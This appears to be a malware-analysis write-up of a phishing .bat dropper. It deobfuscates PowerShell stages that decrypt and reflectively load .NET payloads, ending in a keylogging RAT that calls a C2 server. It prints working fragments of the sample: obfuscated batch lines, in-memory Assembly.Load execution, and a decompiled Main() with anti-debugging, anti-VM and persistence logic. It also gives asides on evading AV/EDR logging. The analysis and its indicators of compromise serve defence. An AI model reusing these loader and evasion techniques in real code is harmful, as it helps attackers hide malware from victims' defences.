10 minute read

Intro.

In early April, organizations in the Russian Federation (and not only) received letters from an unknown sender. In the contents of the letter, besides wishing a good day and asking to reply “soon”, there was a RAR archive, and inside the archive was a *.bat file

1

After checking the contents in the sandbox, some artifacts were provided, indicating that the email clearly contained something suspicious, but the NWI was unable to determine for sure whether it was malware or not.

However, there were some components of the bat file: obfuscated PowerShell strings.

2

This was enough to start analyzing the content, find IoC’s, and see if there were any in the traffic from the organization.

Analyzing the attachment.

As we have already mentioned, the archive contained a bat file.

There are obfuscated functions and encrypted payloads inside, but let’s talk about it in order.

Bat_File_Part1

Bat_File_Part2

Deobfuscation

The first part of the bat script declares the necessary variables in obfuscated form

set “dnRHZ3NQ=set R1NCSw===1 && start ‘’ /min ””
set “UFVTQVZB=&& exitset “eUxyZUdk=not defined R1NCSw==if %eUxyZUdk:=% (%dnRHZ3NQ:=%%0 %UFVTQVZB:=%)”.

Then there are 2 AES CBC encrypted peyloads, which are located in comments (in batch ‘:::’). The variables of the first part don’t tell us much, so let’s take the second part. To deobfuscate the second part of the .bat file contents, let’s modify it a bit. Examining the 2nd part of the script at the top level, we can see that:

  1. The obfuscated string is assigned to the variable d2NKb09D: set “d2NKb09D=WxNzdnindxNzdnowxNzdnsPxNz**NzdnersxNzdnhexNzdnllxNzdn.exNzdnxexNzdn”**
  2. After that, the string is deobfuscated by replacing the combination “xNzdn” with an empty value “” and added to the path C:\Windows\System32**, the resulting content is placed in the variable **T1BHZ0FQ, which executes the obfuscated code via pipe (number 2 in the figure below).
  3. At the next step, the obfuscated code is added to the dFFKVXdT variable, output with the echo command (number 1 in the figure below) and passed through pipe to variable 2.

5

We already know the process of code obfuscation, let’s look at the deobfuscated code. For this purpose, we will deobfuscate it on an isolated virtual machine in cmd.exe:

  1. First, let’s find out what final path the variable from point 2 contains. Declare the variable and perform deobfuscation:

6

The result is C:Windows/System32/WindowsPowershell\v1.0\powershell.exe. Now we know that the obfuscated code is passed through pipe to powershell.exe, let’s deobfuscate it.

  1. To do this, similarly to the first step, let’s declare variables eEZvRHFu, dFFKVXdT and their contents, and then remove part of the line.

7

$host.UI.RawUI.WindowTitle - allows you to change the name of the console (in our case opens the PowerShell console where the deobfuscated code is executed), the name of the console can be any, attackers at this stage write into the name the name of the bat-script being executed to use it later (in the PowerShell script code) - one of the tricks to address by the name of the file from which the load from the PowerShell script will be read. (RedTeam on a side note.)

Now it’s time to deobfuscate the PowerShell script code:

8

We have the script, let’s take a closer look at the contents:

9

The script uses string obfuscation to bypass static analysis tools before executing the code. The $fEla variable contains an obfuscated array of cmdlets used in PiXdA & CaenE functions and retrieved by array element number. (Red Team’s note), this method also allows you to bypass AV & EDR triggers, because the variables are retrieved directly in memory and are not stored in the event log (Event ID 4104). Let’s deobfuscate and take a look at the contents of the variable:

10

Deobfuscate and take a look at the contents of the $fEla array:

11

The original code, after bringing it to a readable form, will look like this:

12

Now in order about what happens in the script. The script runs in a hidden window, where the contents of the open batch script are read into the $QEoyB variable (line 24), after which the contents of the first and second loads are extracted using the Substring and ElementAt methods, then decoded from Base64 and decrypted using the PiXdA function (AES 256 Bit algorithm, key and vector in the code). After that, the decrypted content is decompressed (CaenE function) and written to variables: $Mnpxl and $RtlUk (lines 25 and 26). In the next step, the content (byte array) is loaded into the memory of the process running PowerShell and executed (lines 28 and 29):

[System.Reflection.Assembly]::Load([byte[]]$RtlUk).EntryPoint.Invoke($null,$null);
[System.Reflection.Assembly]::Load([byte[]]$Mnpxl).EntryPoint.Invoke($null,$null);

Loading and in-memory execution via namespace System.Reflection.Assembly is possible for .NET Framework assemblies. Which says something about the language in which the $RtlUk and $Mnpxl libraries are written.

To further investigate the payload loaded into memory, we will slightly modify the PowerShell script:

  1. We will comment out the lines “powershell -w hidden”, as well as the lines for loading and executing the loaded assembly in memory (comment out lines 3, 31, 32 in the figure below).
  2. To read the load from the bat file without errors, we will specify the full path of the file (in the original it is read using [System.IO.File]::ReadLines([Console]::Title), where [Console]::Title returns us the name of the previously run bat file, since before this name was placed in the newly created console via $host.UI.RawUI.WindowTitle = %˜0).
  3. Now, for further analysis, we need to write the decrypted load to disk. To do this in the WriteAllBytes method, the System.IO.File library.

Eventually, the script will look like this:

13

As a result of executing the script we modified, we get a disk load in the form of two files. This load can now be examined in more detail.

14

As we have already assumed, the files are C# assemblies. But to be sure, let’s use the DetectItEasy utility.

15

16

The first file is compiled using the VMProtect packer which hampers static code analysis and whose source code was made publicly available twice in 2023. (the well-known Lazarus, APT31, Rorschach, Darkside and other hack groups have been spotted using it as a code protection tool).

Both files, as we assumed at the PowerShell analysis stage, are written using the .NET Framework, so we can try to decompile them and figure out what load is being executed. There are several tools we can use to decompile, as well as to debug and unpack code:

DnSpy - debugger and .NET assembly editor. Although the project has been in the archive for several years, nevertheless it fulfills its functionality.

DnSpyEx - the project that replaced the previous one and is supported by the community to this day. (we will use it).

De4dot- deobfuscator and unpacker, is one of the most popular tools for unpacking and/or deobfuscating code.

.NET Reactor Slayer - another deobfuscator and unpacker, in some cases it is better than de4dot.

RtlUk file - Known as ScrubBypass, which allows you to bypass ASMI and ETW, it carries no other functionality.

17

Let’s load the second file, the Mnpxl assembly, into the dnSpy decompiler; the code has no obfuscation and is not packed, so it can be read well. The presence of resources in the assembly immediately catches our eye. Often resources contain additional loads, and in the case of RemoteAccessTool various modules (keyloggers and others). We will deal with resources a little later.

18

The functions CheckRemoteDebuggerPresent and IsDebuggerPresent are of no less interest - they check whether the executable file is debugged during startup.

19

Let’s take a closer look at the main() function.

private static void Main()
		{
			Process currentProcess = Process.GetCurrentProcess();
			string title = Console.Title;
			using (WindowsIdentity current = WindowsIdentity.GetCurrent())
			{
				CLASS.IsAdmin = new WindowsPrincipal(current).IsInRole(WindowsBuiltInRole.Administrator);
			}
			bool flag = false;
			CLASS.CheckRemoteDebuggerPresent(currentProcess.Handle, ref flag);
			if (Debugger.IsAttached || flag || CLASS.IsDebuggerPresent())
			{
				Environment.Exit(0);
			}
			using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("Select * from Win32_ComputerSystem"))
			{
				ManagementObjectCollection managementObjectCollection = managementObjectSearcher.Get();
				foreach (ManagementBaseObject managementBaseObject in managementObjectCollection)
				{
					string text = managementBaseObject["Manufacturer"].ToString().ToLower();
					if ((text == "microsoft corporation" && managementBaseObject["Model"].ToString().ToUpperInvariant().Contains("VIRTUAL")) || text.Contains("vmware") || managementBaseObject["Model"].ToString() == "VirtualBox")
					{
						Environment.Exit(0);
					}
				}
			}
			if (!CLASS.IsStartup(Path.ChangeExtension(title, null)))
			{
				CLASS.InstallStartup(title);
			}
			byte[] rawAssembly = CLASS.Uncompress(CLASS.GetEmbeddedResource("P"));
			MethodInfo entryPoint = Assembly.Load(rawAssembly).EntryPoint;
			try
			{
				entryPoint.Invoke(null, new object[]
				{
					new string[0]
				});
			}
			catch
			{
				entryPoint.Invoke(null, null);
			}
		}

After checking if the user under which the process was launched has the Administrator role, the next step is to check if the malware is debugging the executable file, and the next step is to check if it is not running in a virtual machine. If the result is negative, the malware terminates its work. If the result is positive and the user is a member of the Administrators group, the malware is fixed by copying itself to the %APPDATA% directory. %APPDATA%\strt.cmd directory and creating the OneNote 58405 task via powershell ( Base64 “cG93ZXJzaGVsbC5leGU=” –> powershell.exe). The task is executed after the user logs in and runs the dropper file strt.cmd.

20

If the user does not have administrator privileges, strt.cmd is moved to the user’s startup directory (for autorun)

The presence of strt.cmd in the above directories, as well as the creation of the OneNote 58405 task are all indicators of compromise, which can be found for example on SIEM or HIPS class defenses (EDR, etc.) after a compromise. But we will continue studying the load.

Let’s return to the main function. After the checks described above, the content is extracted from the previously mentioned resource “P”, decompressed, loaded into memory, and then executed. To study the content in detail, let’s write it to disk. To do this, we will edit the class code, comment out the check for the presence of a debugger and run in a virtual environment (since this is where we study the malware), as well as run the load loaded into memory:

MethodInfo entryPoint = Assembly.Load(rawAssembly).EntryPoint;
try
  {
	entryPoint.Invoke(null, new object[]
  {
	new string[0]
		});
  }
    catch
   {
 entryPoint.Invoke(null, null);
			}

Instead, let’s write the load to disk:

21

Compile and run, resulting in a load:

22

The file is an assembly of the .NET Framework, so it can be loaded into dnSpy and decompiled.

23

The content of this file is an array of raw bytes that are loaded (using the method we already know) and executed, or rather a separate class method is run. In short, it is another dropper.

Having set a breakpoint, we can save the contents of the variable, let’s call the file raw_raw_trojan (we won’t bother with the name). Let’s load it into DetectItEasy:

24

The file is also an assembly of the .NET Framework and contains the .NET Reactor protector, let’s load it into dnSpy.

25

To simplify deployment and reduce file size, the malware uses Fody.Costura. Such an embedding has already been observed in RAT in January 2024 by experts. Removing the protector using de4dot did not yield the proper result, but using .NET Reactor Slayer brought the code to a more readable form.

26

Among the interesting things: the trojan also has a check on the environment in which it is run

27

In addition, in one of the classes, the IP address of the C2 server that the Trojan tries to connect to after launching was found.

28

29

The same address can be seen in the network graph when dynamically analyzing 93.123.39.147:5888.

30

At the time of VT analysis of this IP on 04.04.04 on the day of phishing, there were relatively few hits (about 5), today on 21.04 the hits have increased, but still few, which indicates that the server is quite fresh. This IP has already been used for C2 STRRAT.

31

The malware’s resources (5 pcs) contain modules (keylogger and others) that are extracted by a clever transformation and injected into the memory of processes using WinAPI functions + GetDelegateForFuntionPointer. One of the interesting features of the trojan is downloading the Tor browser to the victim’s host in order to establish communication via the tor network.

32

I did not extract and write a decoder for 5 resources. I limited myself to the indicators of compromise that I managed to find during the analysis.

Conclusion.

I managed to study such interesting samples in the beginning of April. A more in-depth analysis (module analysis) of such a malware was performed by the Fortinet team. After the analysis, we can conclude that attackers more often use fileless attacks, various obfuscation techniques, anti-Dbg/anti-Sandbox techniques to successfully conduct an attack, bypass defenses and gain a foothold in the system. I hope this material will be useful and will help in the future when studying similar workloads.